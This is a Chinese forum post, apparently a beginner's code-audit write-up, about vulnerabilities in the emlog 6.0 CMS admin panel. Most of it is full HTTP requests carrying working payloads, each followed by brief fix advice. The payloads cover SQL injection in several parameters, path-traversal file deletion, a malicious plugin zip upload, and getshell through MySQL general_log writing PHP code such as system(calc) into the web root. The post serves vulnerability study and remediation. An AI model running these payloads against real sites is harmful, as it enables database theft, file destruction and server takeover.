新手学习代码审计,记录审计成长过程,先从简单入手。
● 漏洞url: http://emlog6.0.com/admin/tag.php?action=dell_all_tag
● 漏洞参数:tag[xx]
● 是否存在限制:无
● 是否还有其他条件:action=dell_all_tag,token
POST /admin/tag.php?action=dell_all_tag HTTP/1.1
Host: emlog6.0.com
Content-Length: 65
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://emlog6.0.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/tag.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=oqlj6bcle1k5ukcrfnj52e99j4; EM_AUTHCOOKIE_MplDHGA7WnMHlJcetCXbqfVJOSdPCZEb=emm666%7C%7C0284ab7039de5516859580dcfca2e03a; EM_TOKENCOOKIE_5981f06dafb0e1c6acd33302c370c4dd=f03cfe2175392b6fea4d5d25ef72278f
Connection: close
c%5B111+or+sleep(1)%5D=1&token=f03cfe2175392b6fea4d5d25ef72278f
查看延时的倍数
tags变量键值分离,针对键做了数据库操作
对用户的输入验证和过滤。使用预编译和转义函数。
● 漏洞url: http://emlog6.0.com/admin/comment.php?action=delbyip&ip=127.0.0.1&token=ee4b851eb3f103685da3bbbdd7837051
● 漏洞参数:ip
● 是否存在限制:单引号闭合;需要登录后台获取token
● 是否还有其他条件:action=delbyip&ip=&token参数都必须存在
payload:' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
GET /admin/comment.php?action=delbyip&ip=1'and+updatexml(1,concat(0x7e,(SELECT+%40%40version),0x7e),1)--+kjdX&token=123e2dd43ef80874d0fe4975866fdf19 HTTP/1.1
Host: emlog6.0.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/comment.php?active_del=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; em_sort_new=inline-block; PHPSESSID=2i21vnksbvj4kjcntdm2tq8265; EM_AUTHCOOKIE_Di1QoHFKhsmGv58a4JrR5r2U8w3TS3wz=admin%7C%7Cea43ac510b8f06cad8d2bbf9f032c6a6; EM_TOKENCOOKIE_db64d83ec02ed684b1f95dd4423692cb=123e2dd43ef80874d0fe4975866fdf19; em_logpwd_3=9999; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F
Connection: close
get接收ip变量没有使用addslashesh函数过滤,sql语句里有单引号,直接闭合就可以
对用户的输入验证和过滤。使用预编译和转义函数
● 漏洞url: http://emlog6.0.com/admin/navbar.php?action=add_page
● 漏洞参数:pages[x]=y
● 是否存在限制:无
● 是否还有其他条件:action=add_page
第一处
POST /admin/navbar.php?action=add_page HTTP/1.1
Host: emlog6.0.com
Content-Length: 94
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://emlog6.0.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/navbar.php?error_e=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; em_sort_new=inline-block; em_link_new=inline-block; em_custom_text_new=inline-block; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=pk3dk4qk2v7s89ef1e7ckm7851; EM_AUTHCOOKIE_Di1QoHFKhsmGv58a4JrR5r2U8w3TS3wz=admin%7C%7Cea43ac510b8f06cad8d2bbf9f032c6a6; EM_TOKENCOOKIE_db64d83ec02ed684b1f95dd4423692cb=24225d813e551487a6648954b0b94a32; em_logpwd_9=1234567
Connection: close
pages%5B6%5D=2'+AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+database()),0x7e),8959)+AND+'RNzK'%3d'RNzK
第二处
POST /admin/navbar.php?action=add_page HTTP/1.1
Host: emlog6.0.com
Content-Length: 96
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://emlog6.0.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/navbar.php?error_e=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; em_plugin_new=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec; postermail=22%40qq.com; commentposter=aaa; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f
Connection: close
pages%5B2+AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+database()),0x7e),8959)+AND+'RNzK'%3d'RNzK'%5D=111
如果 pages 参数存在并且有值,则将其值赋给变量 $pages,否则将 $pages 赋值为空数组。遍历了一个名为 $pages 的数组。在每次迭代中,它从数组中取出一个键值对,其中键是 $id,而值是 $title。从接收到sql语句都没有任何过滤
对用户的输入验证和过滤。使用预编译和转义函数。
● 漏洞url: http://emlog6.0.com/admin/widgets.php?action=compages
● 漏洞参数:widgets[]
● 是否存在限制:无
● 是否还有其他条件:action=compages
POST /admin/widgets.php?action=compages HTTP/1.1
Host: emlog6.0.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 125
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: em_advset=block; em_sort_new=inline-block; em_custom_text_new=inline-block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=1k2r5e2fgke63vjqv3gbn1mkf6; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=3727215c7d05ed0180fa46f6b4043bd7
Origin: http://emlog6.0.com
Referer: http://emlog6.0.com/admin/widgets.php?activated=1
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
wgnum=1&widgets%5B%5D=search&widgets%5B%5D=archive&widgets%5B%5D=link'and/**/extractvalue(1,concat(char(126),database()))and'
widgets参数存在就将它序列化,不存在赋值为空
如果 $isSyntax 的值为假,即值为0或为空,$value 则被赋值为在其两侧加上单引号的字符串,即 ' . $value . '。
对用户的输入验证和过滤。使用预编译和转义函数。
● 漏洞url: http://emlog6.0.com/admin/data.php?action=dell_all_bak
● 漏洞参数:bak[]
● 是否存在限制:无
● 是否还有其他条件:action=dell_all_bak
在自己的文件夹创建文件,可实现跨目录删除文件
POST /admin/data.php?action=dell_all_bak HTTP/1.1
Host: emlog6.0.com
Content-Length: 27
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://emlog6.0.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/data.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; em_plugin_new=block; commentposter=admin; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec
Connection: close
bak%5B%5D=../../../../1.txt
bak参数存在且是数组,就会执行删除操作
加强用户输入验证,并限制用户所能删除的文件范围。
● 漏洞url: http://emlog6.0.com/admin/plugin.php?action=upload_zip
● 漏洞参数:filename
● 是否存在限制:上传的文件和文件夹的名字相同
● 是否还有其他条件:action=upload_zip,name=pluzip
POST /admin/plugin.php?action=upload_zip HTTP/1.1
Host: emlog6.0.com
Content-Length: 629
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://emlog6.0.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2DpnCXUHc5otIBms
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/plugin.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; em_plugin_new=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; PHPSESSID=k1dnnurltjs04ug26am3hvj127; EM_TOKENCOOKIE_768a2d877f865edd16df5b714a9a06de=a900039784be46353b3d41fed6e684ec; postermail=22%40qq.com; commentposter=aaa; EM_AUTHCOOKIE_xul7zSEN1X7zDYShl6SvaxwZYhrQOepm=admin%7C%7Cc283aa764f471126b136d9acfbebd54f
Connection: close
------WebKitFormBoundary2DpnCXUHc5otIBms
Content-Disposition: form-data; name="pluzip"; filename="text.zip"
Content-Type: application/x-zip-compressed
请求内容不显示:PK
上传后直接访问解压后的文件
先判断上传的文件是否存在,如存在就判断上传的后缀是否为zip,在将上传的zip文件进行解压操作
对压缩包里的文件名称进行判断,如果压缩包名称为test则压缩包里必须存在test.php文件,否者会进行报错
修复文件上传漏洞需要限制上传文件类型、验证文件的MIME类型、设置文件上传大小限制、实施恶意文件扫描,以及避免执行上传的文件,从而确保服务器的安全性。
● 漏洞url: http://emlog6.0.com/admin/data.php?action=import
● 漏洞参数:
● 是否存在限制:需要高数据库权限
● 是否还有其他条件:action=import,name=sqlfile, filename=参数存在
数据库拿shell主要有两种方式:
一、select …into outfile 利用需要的条件有:
● 对web目录需要有写权限;
● 能够使用单引号;
● 知道绝对路径;
● secure-file-priv值必须为空(不能为null)
二、开启mysql日志记录general_log,将日志写入特定目录下,利用条件有:
● 对web目录需要要写权限;
● 能够使用单引号;
● 知道绝对路径;
● 能够执行多行sql语句。
第一种方法,先备份sql语句,在其基础上插入select “<?php phpinfo(); ?>” into outfile ‘eval.php’语句就ok了,但是默认secure-file-priv值null,这个方法行不通。
- 其中当参数 secure_file_priv 为空时,对导入导出无限制
- 当secure_file_priv 值为一个指定的目录时,只能向指定的目录导入导出
- 当secure_file_priv 值被设置为NULL时,禁止导入导出功能
第二种方法:数据库备份-编辑备份内容-导入编辑好的sql文件,直接访问生成的文件
#开启日志记录
set global general_log='on';
#设置日志记录的路径
SET global general_log_file='D:/phpstudy_pro/WWW/cms/emlog_6.0.0/src/eval1.php';
#任意查询恶意内容都会被保存到日志
SELECT '<?php phpinfo();?>';
注意:开启sql日志记录和设置日志路径文件需要高数据库权限
当前网站的数据库权限为,cms安装时选择的用户,
详细请求数据包
POST /admin/data.php?action=import HTTP/1.1
Host: emlog6.0.com
Content-Length: 1086
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://emlog6.0.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfPRivdhzWTTFgYdA
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://emlog6.0.com/admin/data.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: em_advset=block; posterurl=http%3A%2F%2Femlog6.0.com%2F; postermail=22%40qq.com; commentposter=aaa; PHPSESSID=0b2864j2ah3vhq7ouift3i53i3; EM_AUTHCOOKIE_I8ovfEdc33MzTKkbau3AYXkL5WEBeWQF=emm666%7C%7Cd989e69e972e2e1e490cd83d89356916; EM_TOKENCOOKIE_8bd3e1f19392195216b74e3a316ab187=d1709c4b7c5cadfa5c1e988f39e0eed1; EM_AUTHCOOKIE_MplDHGA7WnMHlJcetCXbqfVJOSdPCZEb=emm666%7C%7C0284ab7039de5516859580dcfca2e03a; EM_TOKENCOOKIE_5981f06dafb0e1c6acd33302c370c4dd=0d1a684b7b31b8048948247ab4fce60f
Connection: close
------WebKitFormBoundaryfPRivdhzWTTFgYdA
Content-Disposition: form-data; name="token"
0d1a684b7b31b8048948247ab4fce60f
------WebKitFormBoundaryfPRivdhzWTTFgYdA
Content-Disposition: form-data; name="sqlfile"; filename="emlog_20240102_213007.sql"
Content-Type: application/octet-stream
#version:emlog 6.0.0
#date:2024-01-02 21:30
#tableprefix:emlog_
DROP TABLE IF EXISTS emlog_link;
set global general_log='on';
SET global general_log_file='D:/phpstudy_pro/WWW/cms/emlog_6.0.0/src/eval99.php';
SELECT '<?php phpinfo();?>';
CREATE TABLE `emlog_link` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`sitename` varchar(30) NOT NULL DEFAULT '',
`siteurl` varchar(75) NOT NULL DEFAULT '',
`description` varchar(255) NOT NULL DEFAULT '',
`hide` enum('n','y') NOT NULL DEFAULT 'n',
`taxis` int(10) unsigned NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
INSERT INTO emlog_link VALUES('1','emlog.net','http://www.emlog.net','emlog官方主页','n','0');
#the end of backup
------WebKitFormBoundaryfPRivdhzWTTFgYdA--
直接访问即可
此时数据库的记录已经开启,且写入文件为上面的指定php文件,我们很多设计到数据库的操作都会被记录,
比如用户登录的时候,一定会将传入的账户密码带入数据库查询,我们可以直接在登录的时候,传入payload:<?php system(calc);?>
然后刷新日志文件eval99.php即可触发
导入备份文件,日志默认记录,被配文件会被日志执行sql语句
修复GetShell漏洞的方式是严格限制并检查文件上传,设置正确的文件权限,以及合理配置服务器以防止不安全的文件执行。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 400.00 | 0 | 2024-01-04 20:08:42 | 深度 100 普适 100 可读 200 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
学kali的小白
发表于 9个月前
我想问下第一个漏洞,按照代码的意思是需要post传参tags参数,你复现的里面都没有传入tags参数,怎么复现出来的
评论列表
加载数据中...
gwkxw1nz0zqp
发表于 3天前
第六个漏洞是怎么看到文件上传路径的,有没有插件,安装一下
评论列表
加载数据中...